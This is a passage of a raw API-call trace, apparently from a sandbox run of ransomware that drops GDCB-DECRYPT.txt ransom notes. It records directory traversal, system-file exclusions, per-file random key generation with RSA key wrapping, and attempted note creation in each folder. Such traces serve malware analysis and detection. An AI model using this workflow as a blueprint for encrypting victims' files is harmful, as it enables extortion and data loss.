lstrcmpiW (lpString1="QuotaNearing.png", lpString2="ntuser.dat.log") returned 1 [0171.990] lstrcmpiW (lpString1="QuotaNearing.png", lpString2="thumbs.db") returned -1 [0171.990] lstrcmpiW (lpString1="QuotaNearing.png", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.990] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaNearing.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotanearing.png")) returned 0xffffffff [0171.990] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaNearing.png", dwFileAttributes=0xfffffffe) returned 0 [0171.991] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.991] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.991] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.991] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.991] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.991] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0171.992] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.992] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.992] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.992] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.992] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0171.995] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636698) returned 1 [0171.995] CryptGetKeyParam (in: hKey=0x636698, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.995] CryptEncrypt (in: hKey=0x636698, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3090000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3090000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.995] GetLastError () returned 0x0 [0171.995] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.995] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0172.006] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636818) returned 1 [0172.006] CryptGetKeyParam (in: hKey=0x636818, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.006] CryptEncrypt (in: hKey=0x636818, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30a0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x30a0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.006] GetLastError () returned 0x0 [0172.006] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.006] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\QuotaNearing.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quotanearing.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.007] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.007] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.007] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.007] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.007] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\qut-latn\\\\GDCB-DECRYPT.txt") returned 283 [0172.007] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\qut-latn\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\qut-latn\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.007] GetLastError () returned 0x3 [0172.007] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.007] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.007] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.007] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.007] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\quz-pe\\\\GDCB-DECRYPT.txt") returned 281 [0172.007] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\quz-pe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\quz-pe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.007] GetLastError () returned 0x3 [0172.007] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\RemoteAccess.dll") returned 273 [0172.007] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\RemoteAccess.dll") returned 273 [0172.007] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.007] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.007] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.007] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.007] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ro\\\\GDCB-DECRYPT.txt") returned 277 [0172.008] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ro\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ro\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.008] GetLastError () returned 0x3 [0172.008] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.008] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.008] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.008] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.008] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ru\\\\GDCB-DECRYPT.txt") returned 277 [0172.008] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ru\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ru\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.008] GetLastError () returned 0x3 [0172.008] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.008] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.008] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.008] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.008] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\rw\\\\GDCB-DECRYPT.txt") returned 277 [0172.008] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\rw\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\rw\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.008] GetLastError () returned 0x3 [0172.008] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.008] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.008] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.008] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.008] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\scenegraph\\\\GDCB-DECRYPT.txt") returned 285 [0172.009] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\scenegraph\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\scenegraph\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.009] GetLastError () returned 0x3 [0172.009] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ScreenshotOptIn.gif") returned 276 [0172.009] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ScreenshotOptIn.gif") returned 276 [0172.009] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ScreenshotOptIn.gif") returned 276 [0172.009] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ScreenshotOptIn.gif") returned 276 [0172.009] lstrcmpiW (lpString1="ScreenshotOptIn.gif", lpString2="desktop.ini") returned 1 [0172.009] lstrcmpiW (lpString1="ScreenshotOptIn.gif", lpString2="autorun.inf") returned 1 [0172.009] lstrcmpiW (lpString1="ScreenshotOptIn.gif", lpString2="ntuser.dat") returned 1 [0172.009] lstrcmpiW (lpString1="ScreenshotOptIn.gif", lpString2="iconcache.db") returned 1 [0172.009] lstrcmpiW (lpString1="ScreenshotOptIn.gif", lpString2="bootsect.bak") returned 1 [0172.009] lstrcmpiW (lpString1="ScreenshotOptIn.gif", lpString2="boot.ini") returned 1 [0172.009] lstrcmpiW (lpString1="ScreenshotOptIn.gif", lpString2="ntuser.dat.log") returned 1 [0172.009] lstrcmpiW (lpString1="ScreenshotOptIn.gif", lpString2="thumbs.db") returned -1 [0172.009] lstrcmpiW (lpString1="ScreenshotOptIn.gif", lpString2="GDCB-DECRYPT.txt") returned 1 [0172.009] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ScreenshotOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\screenshotoptin.gif")) returned 0xffffffff [0172.009] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ScreenshotOptIn.gif", dwFileAttributes=0xfffffffe) returned 0 [0172.009] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0172.010] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.010] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.010] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.010] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0172.010] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0172.011] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.012] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.012] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.012] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.012] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0172.014] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636b18) returned 1 [0172.014] CryptGetKeyParam (in: hKey=0x636b18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.015] CryptEncrypt (in: hKey=0x636b18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30b0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x30b0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.015] GetLastError () returned 0x0 [0172.015] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.015] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.017] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636618) returned 1 [0172.017] CryptGetKeyParam (in: hKey=0x636618, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.018] CryptEncrypt (in: hKey=0x636618, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30c0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x30c0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.018] GetLastError () returned 0x0 [0172.018] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.018] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ScreenshotOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\screenshotoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.018] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.018] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.018] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.018] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.018] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sd-arab\\\\GDCB-DECRYPT.txt") returned 282 [0172.018] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sd-arab\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\sd-arab\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.018] GetLastError () returned 0x3 [0172.018] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.018] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.018] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.019] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.019] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sd-arab-pk\\\\GDCB-DECRYPT.txt") returned 285 [0172.019] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\sd-arab-pk\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\sd-arab-pk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.019] GetLastError () returned 0x3 [0172.019] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.019] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.019] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.019] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.019] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\si-lk\\\\GDCB-DECRYPT.txt") returned 280 [0172.019] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\si-lk\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents 